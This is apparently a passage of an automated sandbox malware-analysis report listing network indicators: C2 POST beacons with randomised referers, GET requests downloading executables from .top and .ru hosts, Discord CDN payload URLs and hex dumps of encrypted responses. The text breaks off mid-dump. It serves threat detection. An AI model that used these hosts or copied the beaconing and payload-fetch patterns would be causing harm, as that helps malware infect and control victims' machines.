Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pjlnqmhpvc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hcgnyqptt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ithapmr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gauqw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vqosa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kdacdmichm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fsluxk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 240Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dpiqpnl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tysqt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dhskdgpx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oihlnqbyqp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xbtscsiiqr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fchldji.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://narjywxfra.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pkxhixnn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xjjqkp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sqgxbwy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yvrtx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vyivfmetg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wdgyfowqds.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 220Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: nusurtal4f.net

Source: global traffic

TCP traffic: 192.168.2.6:49854 -> 93.115.20.139:28978

Source: FC0C.exe.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 3AE.exe.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: FC0C.exe.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: D083.exe, 0000002B.00000002.716245668.0000000000F31000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: AdvancedRun.exe.19.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: AdvancedRun.exe.19.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: 3AE.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: FC0C.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 3AE.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: FC0C.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: FC0C.exe.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 3AE.exe.6.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: FC0C.exe.6.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: AdvancedRun.exe.19.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: AdvancedRun.exe.19.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: FC0C.exe.6.dr	String found in binary or memory: http://fontello.com
Source: FC0C.exe.6.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 3AE.exe.6.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: FC0C.exe.6.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: AdvancedRun.exe.19.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 60DF.exe, 00000018.00000000.509231538.0000000000442000.00000002.00020000.sdmp, 60DF.exe.6.dr	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: explorer.exe, 00000006.00000000.393764920.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: FC0C.exe.6.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: AdvancedRun.exe, AdvancedRun.exe, 0000001C.00000002.528560998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000021.00000002.570535756.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 00000024.00000000.565833998.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.19.dr	String found in binary or memory: http://www.nirsoft.net/
Source: sqlite3.dll.29.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: DataSvcUtil.exe, 00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp, SMSvcHost.exe, 0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: 60DF.exe, 00000018.00000000.509231538.0000000000442000.00000002.00020000.sdmp, 60DF.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: 60DF.exe, 00000018.00000000.509231538.0000000000442000.00000002.00020000.sdmp, 60DF.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: D083.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903196811345395712/6058E8D5.jpg
Source: 3FD8.exe, 00000015.00000000.493097245.00000000002F2000.00000002.00020000.sdmp, 3FD8.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903333369742491648/1E88D378.jpg
Source: 37D8.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg
Source: 37D8.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg
Source: FC0C.exe.6.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903579324031074365/ECF88C37.jpg
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AdvancedRun.exe.19.dr	String found in binary or memory: https://sectigo.com/CPS0C
Source: AdvancedRun.exe.19.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: FC0C.exe.6.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 1xVPfvJcrg.29.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: xacokuo8.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /263873486.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: iyc.jelikob.ru
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903333369742491648/1E88D378.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: GET //l/f/UJ1rynwB3dP17Spz23JR/c8a165d96af5f02e4cac679a1908533dbdcac0e8 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 29 Oct 2021 15:55:28 GMTContent-Type: text/htmlContent-Length: 797Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:54:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f1 11 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:54:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 